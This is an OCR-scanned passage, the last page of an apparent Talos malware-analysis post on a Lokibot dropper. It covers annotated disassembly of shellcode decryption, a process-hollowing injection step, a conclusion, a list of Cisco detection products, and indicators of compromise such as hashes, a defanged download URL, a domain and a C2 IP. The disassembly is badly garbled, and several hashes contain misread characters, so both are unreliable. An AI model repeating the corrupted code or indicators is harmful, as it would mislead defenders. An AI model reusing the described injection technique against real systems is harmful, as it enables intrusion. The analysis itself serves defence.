CODE : 83DAGTAE call gLstrCmp
CODE : @3DB6T53 = loe 3DBETFD
1
¥

il e ]

CODE 3086753 moy
CODE:B3DBETSE mow

eax, ds:ExecutionFlagh
edx, offset al 1 ; "1

i Left

CODE : 83DRETE3 call ELStrinp
CODE:83D@&TEE jnz loc_3IDBETFD
L1
T
CODE: 83026 76E mov eax, ds:DecryptionkeyB
CODE:@3006773 call Striolnt
CODE : 830367738 mov edx, eax

CODE : 03086774 lea
CODE:-B3DBETEE mow
CODE-83DB6785 call
CODE -B30B5678A movw
CODE -A30B6798 mow

ecx, [ebp+var DC]

eax, di:Encryptedshellcode
CustomlecryptionB

edx, [ebptvar DC] ; al

cax, offset DecryptedShellcode ; result
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CODE ;8308695 call
CODE :@3086794 mow
CODE :8308679F call
CODE:B30VE67A4 mov
CODE:B3DBEFAE mow
CODE:B3DBE7AB mow
CODE:A30B6708 call
CODE -B30DBL7A5 mow
CODE :QIDBETAA movw
CODE -A3DBEFAF call

ELotrAsg
eax, ds:Decryptedshellcode
@oynarrayLength

ecx; eax

edx, offzet pl‘.|'5||l=1].l.|.ldu
eax, ds:DecryptedsShellcode
Hove

ebx, offset ptrShellcode
ecax, offset DecryptediokiBo
E miguestri ngh

CODE : B30D67C4 push

: Left

Decrypts shellcode

- Shellcode first param:
pointer to Lokibot exe

CODE :B30867ES lea
CODE :830867EA call
CODE:B3DVEFEF movw
CODE :830867F5 call

E pus oTT5€ e_. ; Raht
TOOETOS0RG LN LES TN, LoopTvar_tn]
CODE : 03086708 xor 2dM, 2dax
CODE:83D@6702 call GetCommandLind w
CODE :@30SE6707 mow eax, |ebptwvar Ed]
CODE -A30D6700 call ELStrToPChar
CODE :@ADBETED movw edx, cax

cax, [qbpl var_E :4]

@strrromPChar
eax, [ebpivar_ga]
strTo

IM?Fh Sush
CODE : 83DBE7FFE call

: Left

EFES
ebx ;

et

Shellcode second
param: strings array

|_——Shellcode third param:

current command line

Call shellcode

p l‘.l'Shl-_-llLurJI:{

J-.EJ.-*

The shellcode will create a suspended process using the third parameter as a command line command and injects

Lokibot into it using process hollowing.

Conclusion

Threat actors are getting more sophisticated when it comes to hiding their final payload. This dropper uses three

stages and three layers of encryption to hide its final payload. The dropper also injects code into a suspended

process to bypass UAC and uses process hollowing to execute its final payload. The majority of malware is

getting more and more sophisticated. They are constantly improving their social engineering techniques to trick

the user into opening malicious attachments and running malicious code. The malware code and its infection

techniques is also improving constantly like we have described in this blog. The adversaries combine clever

techniques to make detection harder. More than ever it is important to have a multi layered security architecture in

place to detect these kinds of attacks. It isn't unlikely that the adversaries will manage to bypass one or the other
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security measures, but it is much harder for them to bypass all of them. These campaigns and the refinement of the

TTPs being used will likely continue for the foreseeable future.

Coverage

AMP
Cloudlock
CWs

Email Security

Network Saecurity

Stealthwatch
Stealthwatch Cloud
Threat Grid
Umbrella

WSA

Ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware detailed in this
post. Below is a screenshot showing how AMP can protect customers from this threat. Try AMP for free here.
Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious
websites and detects malware used in these attacks.

Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention

System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.

Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs,

whether users are on or off the corporate network.

Additional protections with context to your specific environment and threat data are available from the Firepower

Management Center.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack

available for purchase on Snort.org.The following SIDs have been released to detect this threat: 56578 and 56577.

10C
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Hashes

d5a68a111c359a22965206e7ac7d602d92789dd1aa3f0e0c8d89412fc84e24a5 (First stage XLS file)
6b53ba14172f0094a00edfef96887aab01e8b1c49bdc6b1£34d7f2e32f88d172 (2nd stage packed downloader)
b36d914ae8e43c6001483dfc206b08dd1b0fbc5299082ea2fbal54df35e7d649 (2nd stage unpacked DLL)
93ec3c23149c3d5245adf5d8a38c85e32cda24e23{8c4df2e19e1423739908b7 (3rd Stage DLL)
21e23350b05a4b84cdf5c93044d780558e6baf81b2148fdda4583930ab7cb836 (DLL used to bypass UAC)
€9038e31f798119d9e93e7eafbdd3e0f215e24ee2200fcd2a3ba460d549894ab ( Lokibot )

URL

hxxp://millsmiltinon[.]Jcom/ojHYhkfkmofwendkfptktnbjgmfkgtdeitobregvdgetyhsk/Xehmigm.exe

Domains

millsmiltinon.com (Hosts 2nd and 3rd Stage)

IP

104.223.143[.]132 (Lokibot C2)

Source: https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html

Page 19 of 19



